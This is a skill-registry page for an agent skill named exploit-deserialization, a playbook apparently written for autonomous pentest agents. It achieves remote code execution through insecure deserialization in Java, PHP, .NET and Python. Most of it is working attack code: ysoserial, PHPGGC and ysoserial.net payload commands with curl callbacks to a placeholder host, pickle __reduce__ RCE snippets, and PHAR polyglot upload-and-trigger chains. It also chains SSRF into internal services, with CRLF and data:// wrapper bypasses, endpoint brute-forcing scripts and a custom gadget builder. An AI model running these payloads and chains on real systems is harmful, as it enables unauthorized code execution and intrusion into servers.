exploit-deserialization

star 4.4k

Insecure deserialization — RCE via malicious serialized objects in Java (ysoserial), PHP (PHPGGC), .NET (ysoserial.net), and Python (pickle). Covers gadget chain selection, payload generation, and injection into cookies, POST bodies, ViewState, and API endpoints.

PurpleAILAB By PurpleAILAB schedule Updated 6/2/2026

name: exploit-deserialization description: "Insecure deserialization — RCE via malicious serialized objects in Java (ysoserial), PHP (PHPGGC), .NET (ysoserial.net), and Python (pickle). Covers gadget chain selection, payload generation, and injection into cookies, POST bodies, ViewState, and API endpoints." metadata: subdomain: web-exploitation mitre_attack: T1203 when_to_use: "deserialization, serialize, unserialize, pickle, ysoserial, phpggc, gadget chain, viewstate, java object, rO0AB, aced0005, base64 object, marshalling, unmarshal"

Insecure Deserialization

Exploits applications that deserialize untrusted data, achieving Remote Code Execution (RCE) by crafting malicious serialized objects that trigger gadget chains.

Auth-Cookie Checkpoint (Before Declaring a Blind Sink Unreachable)

Blind deserialization sinks frequently appear "unreachable" only because the request lacks a session cookie that gates the deserialize path (auth_tier, role flag, CSRF-bound session). Before concluding the sink is wrong:

  1. Re-check session cookies. Enumerate every cookie the app sets across anon, low-priv, and high-priv sessions. Read recon_notes.md for the "Sink preconditions" table and "Required session state" line.
  2. If recon did not enumerate cookie-gating (no preconditions table, no session-state line in handoff): bisect cookies yourself. Replay the payload with the FULL authenticated jar, then drop one cookie at a time until the sink behavior changes. The cookie whose removal silences the sink is the gating cookie.
  3. Replay with the gating cookie attached before concluding the chain or gadget is wrong.
  4. Only then consider sink-side causes (wrong gadget, wrong serialization format, length filter, allowlist).

Skipping this checkpoint is the most common false-negative pattern: the gadget chain was correct all along, but the request was unauthenticated and silently 302'd to login.

Identifying Deserialization Points

  • Java: Base64-encoded blobs starting with rO0AB (raw) or aced0005 (hex), Content-Type: application/x-java-serialized-object
  • PHP: Strings matching O:[0-9]+:" or a:[0-9]+:{, cookies/parameters with serialized data
  • .NET: VIEWSTATE parameter, Content-Type: application/soap+xml, __VIEWSTATE field
  • Python: Base64-encoded pickle data, application/x-python-pickle

Java — ysoserial

# Generate payload (common chains: CommonsCollections1-7, Spring1, Groovy1, Hibernate1)
java -jar ysoserial.jar CommonsCollections5 'curl http://<CALLBACK>/rce' > payload_cc1.bin
java -jar ysoserial.jar CommonsCollections5 'curl http://<CALLBACK>/rce' | base64 -w0 > payload_cc1_b64.txt
# CC5 → Collections 3.2.1 | CC6 → Collections 3.2.2+ | CC2,4 → Collections 4.0

# Inject via curl
curl -s 'https://<TARGET>/api/endpoint' -H 'Content-Type: application/x-java-serialized-object' --data-binary @payload_cc1.bin -o deser_response.txt

PHP — PHPGGC

# Generate payload (chains: Laravel/RCE1-10, Symfony/RCE1-7, Guzzle/RCE1, Monolog/RCE1-7)
phpggc Laravel/RCE1 system 'id' -b > php_payload.txt
phpggc Laravel/RCE1 system 'id' -b | base64 -w0 > php_payload_b64.txt

PHP PHAR deserialization via file upload — the wrapper-triggered chain

When a target accepts file uploads AND any code path later passes a user-controlled filename through a PHP file function that ACCEPTS STREAM WRAPPERS (file_exists, file_get_contents, fopen, getimagesize, is_file, filesize, stat, md5_file, sha1_file, unlink, imagecreatefromjpeg/png/gif, etc.), uploading a PHAR file and referencing it via the phar:// wrapper triggers automatic deserialization of the PHAR's metadata — no unserialize() call required on the server side.

Pre-conditions: upload accepted (any extension — .jpg, .gif, .pdf, .phar, .txt all work because PHAR detection is content-based via signature, not extension); and at least one server-side path that resolves a user-influenced filename through a stream-wrapper-aware function.

# 1. Build PHAR with malicious metadata using phpggc (-p phar / --phar)
phpggc -p phar -o exploit.phar Monolog/RCE6 system 'id > /tmp/pwn'

# 2. Rename to a permitted upload extension so the upload filter accepts it
mv exploit.phar exploit.jpg

# 3. Upload via the app's upload endpoint
curl -s -X POST 'https://<TARGET>/upload' \
  -F 'file=@exploit.jpg' -b "$COOKIE_JAR" -o upload_resp.txt
head -20 upload_resp.txt   # extract the resulting filename/path

# 4. Trigger via any phar:// referencing endpoint
# Common surfaces: image processing, file-existence check, profile-image setter,
# avatar URL, attachment preview, report-export filename, log-viewer path.
curl -s "https://<TARGET>/preview?file=phar:///var/www/uploads/exploit.jpg" -o trigger.txt
curl -s "https://<TARGET>/avatar?path=phar:///var/www/uploads/exploit.jpg/test.txt" -o trigger2.txt

# 5. Verify execution via the chain's side-effect (file write, HTTP callback, DNS)
curl -s "https://<TARGET>/uploads/exploit.jpg.log" 2>/dev/null  # or check callback

Notes:

  • PHP 8.0+ removed automatic PHAR deserialization for many functions, but stream-wrapper paths still trigger it; check phpinfo() for phar.readonly and phar.require_hash.
  • The PHAR file MUST be uploaded with a path the trigger code can reach. If uploads land in /var/www/uploads/ and the trigger uses a virtual path, find the real-disk path via LFI or error messages first.
  • When upload extension is restricted (whitelist: jpg/png/gif), append a polyglot prefix to the PHAR so the file still parses as the claimed format. phpggc supports JPEG/GIF wrappers natively (--prefix '<JFIF/GIF header>').
  • PHAR also supports tar/zip containers (-f tar/-f zip) — useful when the upload filter sniffs ZIP/TAR magic.

Multi-service PHAR chain via SSRF + internal upload + hidden trigger

Common production architecture: a public frontend exposes an SSRF primitive (URL fetcher, webhook, "import from URL"), and a back-end service — reachable only via that SSRF — has BOTH a file-upload sink AND a phar://-aware function. The exploit is the chain, not any single endpoint.

Pre-conditions:

  • Frontend has an SSRF that can reach the internal service (URL validation + scheme/port filter does NOT block http:// to the internal host).
  • Internal service exposes an upload endpoint that writes attacker-controlled bytes to a known path (response usually returns the saved path).
  • Internal service ALSO exposes a code path that calls a stream-wrapper-aware PHP function on a user-controlled filename (file_exists, file_get_contents('phar://' . $path . '/manifest'), is_file, etc.).
  • A gadget class exists on the internal service with a magic method (__wakeup, __destruct, __toString) reaching eval/system/exec.

Reconnaissance step that agents skip (the failure mode): when SSRF first works against the internal service, enumerate every endpoint, not just the ones the front-end documents. Internal services frequently have hidden routes used only for internal control (/sku_read, /internal/process, /admin/import, /_debug/eval). The documentation endpoint (/, /api/docs, /help) typically lists only the public-facing routes — wordlist-brute the rest:

# Brute internal endpoints via SSRF — ALSO enumerate filename permutations.
# Common failure: agents guess one ordering of a two-word filename but the
# actual file uses the reversed order, a different separator, or a different
# extension. Internal-service filenames often do NOT mirror the public-facing
# endpoint naming convention even when they manipulate the same resource.
INTERNAL="http://internal-host:<port>"
SSRF="http://<TARGET>/url-fetcher.php?url="

# Words you already harvested from response bodies, error messages, or
# documentation pages on the internal service.
WORDS=(process read upload import export admin debug status info validate transfer)

# Generate permutations: each base word, both word-orders for two-word combos,
# with and without .php extension, and snake/kebab/camel variants.
paths=()
for w in "${WORDS[@]}"; do
  paths+=("$w" "$w.php" "${w}_handler.php" "_${w}.php")
done
# Two-word combos (both orders) — common pattern: verb_noun + noun_verb
for a in process read upload import; do
  for b in sku data file model; do
    paths+=("${a}_${b}" "${a}_${b}.php" "${b}_${a}" "${b}_${a}.php" \
            "${a}-${b}.php" "${b}-${a}.php" "${a}${b^}.php" "${b}${a^}.php")
  done
done
# Generic api/ + admin/ + _internal/ + _debug/ namespace prefixes
for ns in "" "api/" "v1/" "_internal/" "_debug/" "admin/"; do
  for ep in process read upload import export status info; do
    paths+=("${ns}${ep}" "${ns}${ep}.php")
  done
done

for path in "${paths[@]}"; do
  safe=${path//\//_}
  STATUS=$(curl -s -o "/tmp/probe_${safe}.txt" -w '%{http_code}' \
    "${SSRF}${INTERNAL}/${path}")
  SIZE=$(wc -c < "/tmp/probe_${safe}.txt")
  # Skip uniform 4xx; surface anything that breaks the negative-baseline pattern.
  echo "$path: status=$STATUS size=$SIZE"
done | sort -t= -k2 -u

Why permutation matters: public-facing endpoints are usually named <resource>_<action>.<ext> (the publicly-visible CRUD-style API). Internal backend files often invert this to <action>_<resource>.<ext> because internal code organization mirrors action-then-resource naming (the verb that the handler executes is in the filename head). Guessing only one ordering misses the other 50%. Always permute (both orderings × with/without extension × snake/kebab/camel separators).

Chain template:

# 1. Build PHAR (gadget with __wakeup/__destruct → eval/system)
phpggc -p phar -o exploit.phar <Framework>/RCE<N> system 'id > /tmp/pwned'
mv exploit.phar exploit.jpg

# 2. SSRF #1 — POST PHAR to internal upload endpoint; capture saved path
curl -s "http://<TARGET>/<SSRF_ENDPOINT>?url=http://<INTERNAL>:<PORT>/upload" \
  --data-urlencode "data=$(base64 -w0 exploit.jpg)" \
  -o /tmp/upload_resp.txt
SAVED_PATH=$(jq -r '.file_path' /tmp/upload_resp.txt)

# 3. SSRF #2 — trigger phar:// on the saved path via the hidden internal endpoint
curl -s "http://<TARGET>/<SSRF_ENDPOINT>?url=http://<INTERNAL>:<PORT>/<HIDDEN_TRIGGER>" \
  --data-urlencode "file_path=${SAVED_PATH}"

# 4. Verify side-effect (file write, callback, log line, etc.)

SSRF body-control gotcha — the #1 reason this chain stalls. If the frontend SSRF wraps the outbound request in a hard-coded stream context (e.g. 'method' => 'POST', 'content' => http_build_query(['param1' => 'value1', 'param2' => 'value2'])), every internal request shares the SAME body bytes regardless of any value you submit. Recognition signal: source-disclose sku_url.php-style fetcher (via /backup/, /.git/, error stacks, or by reading the internal index page that often documents endpoints) → spot the 'content' => ... line with a hardcoded query string. If you cannot disclose the source, infer the gotcha when:

  • The SSRF endpoint accepts a URL field but the internal upload endpoint (whose path you can deduce from the URL field's value or the internal docs) always returns {"status":"failure"} / "missing data" regardless of what you send.
  • Multipart, JSON, raw-binary, and query-string-only POSTs ALL produce the identical failure shape — body content is being overridden.

Concrete workaround ladder (try in this order; each takes one or two curl calls):

  1. Source-disclose backup.zip / .git/config / accessible admin source endpoints via the SSRF first. The exact hardcoded body string is your primary intel — it names the literal POST params the internal endpoint receives. Then read the internal endpoint's source to determine WHICH PHP superglobal it consumes ($_POST, $_REQUEST, $_GET, php://input, getallheaders()). If it uses $_REQUEST or $_GET, query-string params on the SSRF URL are sufficient — the hardcoded body coexists with your query string:
    # Encode PHAR as base64 into the SSRF URL's query string
    PHAR_B64=$(base64 -w0 exploit.phar)
    curl -sG "http://<TARGET>/<SSRF_ENDPOINT>" \
         --data-urlencode "url=http://<INTERNAL>:<PORT>/upload?data=${PHAR_B64}"
    
  2. Sandbox-direct port reach — confirm whether the internal service is reachable from the agent's sandbox container by IP, even when not externally port-mapped. Docker compose networks default-route the agent container into 172.x.x.x/8 so other compose services may be reachable by service name (skumodel, internal-svc) or by their internal IP. One curl from the sandbox bypasses the SSRF entirely:
    curl -s "http://skumodel:<PORT>/upload" --data-urlencode "data=$(base64 -w0 exploit.phar)"
    curl -s "http://172.20.0.5:<PORT>/upload" --data-urlencode "data=$(base64 -w0 exploit.phar)"
    
  3. CRLF injection into the SSRF URL field to rewrite the outbound request line OR inject additional POST body bytes. Many parse_url + file_get_contents combos do not normalize CR/LF inside the URL host or path components; injecting %0d%0a lets you override the Content-Length and append your payload to the body:
    curl -sG "http://<TARGET>/<SSRF_ENDPOINT>" \
         --data-urlencode "url=http://internal:port/upload%0d%0aContent-Length:%20<NEW_LEN>%0d%0a%0d%0adata=<PHAR_B64>"
    
  4. Second SSRF surface — many apps have more than one URL fetcher (image preview, OAuth redirect, webhook ping, RSS importer). If the first SSRF has a hardcoded body but a second one accepts an arbitrary body, chain them: second SSRF performs the upload, first SSRF triggers phar:// via the read endpoint. Recon for ALL URL-accepting fields, not just the one named url.
  5. Stream-context override via PHP wrapper in the URLphp://temp / data:// schemes inside the user-provided URL can supply alternate body bytes that override the hardcoded 'content'. Only relevant when FILTER_VALIDATE_URL is lax or wrappers are not stripped:
    curl -sG "http://<TARGET>/<SSRF_ENDPOINT>" \
         --data-urlencode "url=data://text/plain;base64,$(echo -n "data=${PHAR_B64}" | base64 -w0)"
    

Recognition + workaround order is the discriminating skill — the body-control gotcha is not the conceptual chain (agents typically reach the chain on their own). The skill is recognizing the signature in 1–2 probes and immediately rotating through workarounds 1→5 instead of iterating dozens of multipart/JSON variants that all collide with the hardcoded body.

Generality: applies to any PHP shop with split frontend/worker architecture (WordPress + media worker, Symfony + asset service, custom microservice with PHP backend). The pattern is recon-first: trace what the SSRF can REACH, enumerate every endpoint at that destination, then chain.

Building a custom PHAR when phpggc has no gadget for the target's framework

phpggc covers public frameworks (Laravel, Symfony, Monolog, Guzzle, Yii, CodeIgniter, Drupal, WordPress, …). When the deserialization sink consumes a class defined in the target's own source code (in-house framework, custom template/cache/queue class) AND the class has a magic method reaching eval/system/exec, phpggc cannot pre-generate the chain — you must construct the PHAR manually from the disclosed source.

Pre-conditions:

  • Target source disclosed (via /backup/*, /.git/, leaked composer.lockvendor/..., error stacks dropping file paths). Without source you do not know the class name, property names, or magic-method body.
  • A class in that source defines __wakeup / __destruct / __toString / __call / __invoke whose body reaches a dangerous PHP function: eval($this->X), system($this->X), exec($this->X), call_user_func($this->X, ...), include($this->X), unserialize($this->X) (recursive sink), etc.

Construction recipe (run in your sandbox, not on target):

# 1. Stage a builder script — class definition MUST match the target's source EXACTLY
#    (namespace, name, property names, types, visibility). Even a name typo aborts the chain.
cat > /tmp/build_phar.php <<'BUILDER'
<?php
// === Paste the verbatim class shell from disclosed source ===
//     Only the property names + magic-method shape matter for the gadget;
//     other methods can be stubs.
class <ClassName> {
    public $<prop_consumed_by_magic_method>;
    public $<other_prop_if_present>;
    // __wakeup / __destruct / __toString — whichever the source defines
    public function __wakeup() {
        eval($this-><prop_consumed_by_magic_method>);  // mirror target's body
    }
}

// === Payload values populate the properties the magic method reads ===
$g = new <ClassName>();
$g-><prop_consumed_by_magic_method> = 'system("id > /tmp/pwn"); ';

// === Build the PHAR with the gadget as METADATA ===
@unlink('/tmp/exploit.phar');
$p = new Phar('/tmp/exploit.phar');
$p->startBuffering();
$p->addFromString('manifest', 'dummy');           // any file content
$p->setStub('<?php __HALT_COMPILER(); ?>');
$p->setMetadata($g);                              // <-- the gadget rides here
$p->stopBuffering();

echo "PHAR built: " . filesize('/tmp/exploit.phar') . " bytes\n";
BUILDER

# 2. Run the builder — requires phar.readonly=Off in the local php.ini.
#    Sandbox shortcut: php -d phar.readonly=0 /tmp/build_phar.php
php -d phar.readonly=0 /tmp/build_phar.php

# 3. Optional polyglot — prepend an image magic so upload filters accept it.
#    JPEG ffd8ff prefix:
printf '\xff\xd8\xff\xe0' > /tmp/exploit.jpg && cat /tmp/exploit.phar >> /tmp/exploit.jpg
# Or GIF87a / GIF89a:
printf 'GIF89a' > /tmp/exploit.gif && cat /tmp/exploit.phar >> /tmp/exploit.gif

# 4. Base64 for upload-via-data parameter (common with SSRF chains).
base64 -w0 /tmp/exploit.jpg > /tmp/exploit.b64

Wiring the trigger (mirrors the standard PHAR flow):

# Upload the PHAR (data= or file= depending on endpoint)
UPLOAD_PATH=$(curl -s -X POST 'http://<UPLOAD_ENDPOINT>' \
  --data-urlencode "data=$(cat /tmp/exploit.b64)" | jq -r '.file_path')

# Trigger phar:// dereference — the target's existing read/load/stat path
curl -s -X POST 'http://<TRIGGER_ENDPOINT>' \
  --data-urlencode "file_path=${UPLOAD_PATH}"

# Verify the gadget's side effect (file write, callback, log line)

Common pitfalls when going custom:

  • Class fully-qualified name — if the target source declares the class inside a namespace (namespace App\Foo\Bar;), your builder MUST declare the same namespace, OR call setMetadata(unserialize('O:NN:"App\\Foo\\Bar\\<ClassName>":...')) with the namespaced string. PHP serialization is namespace-aware (the leading NN is the length of the namespaced class name).
  • Property visibility encodingprotected properties serialize with \x00*\x00 prefixes; private with \x00ClassName\x00. Mirroring source exactly avoids "property not set" silent failures.
  • __wakeup vs __destruct triggering__wakeup fires on unserialize of the metadata. __destruct only fires when the deserialized object goes out of scope. If the trigger endpoint catches an exception and continues, __destruct still runs at script shutdown.
  • PHAR signature requirement — when phar.require_hash=1, the PHAR must end with a valid SHA1/SHA256 signature. Phar::stopBuffering() writes one automatically with the default stub, but a polyglot prefix may shift offsets and invalidate it. Verify with php -d phar.readonly=0 -r 'print_r((new Phar("/tmp/exploit.phar"))->getSignature());'.
  • __HALT_COMPILER() stub is mandatory — without it, PHAR refuses to load.

Generality: applies to any PHP application whose source you can disclose where a magic method reaches a dangerous primitive. The construction recipe replaces the missing phpggc gadget with a manual one built from intel — no framework match required.

.NET — ysoserial.net

# Generate payload (chains: TypeConfuseDelegate, TextFormattingRunProperties, WindowsIdentity)
ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c "cmd /c curl http://<CALLBACK>/rce" -o base64 > C:\workspace\dotnet_payload.txt

# ViewState exploitation (requires machineKey)
ysoserial.exe -p ViewState -g TypeConfuseDelegate --validationalg="SHA1" --validationkey="<KEY>" --generator="<GEN>" -c "cmd /c whoami > C:\temp\out.txt"

Python — Pickle

import pickle, base64, os

class RCE:
    def __reduce__(self):
        return (os.system, ('curl http://<CALLBACK>/rce',))

payload = base64.b64encode(pickle.dumps(RCE()))
print(payload.decode())
# Generate and save
python3 -c "
import pickle, base64, os
class RCE:
    def __reduce__(self):
        return (os.system, ('id > /tmp/pwned',))
print(base64.b64encode(pickle.dumps(RCE())).decode())
" > pickle_payload.txt
Install via CLI
npx skills add https://github.com/PurpleAILAB/Decepticon --skill exploit-deserialization
Repository Details
star Stars 4,393
call_split Forks 875
navigation Branch main
article Path SKILL.md
More from Creator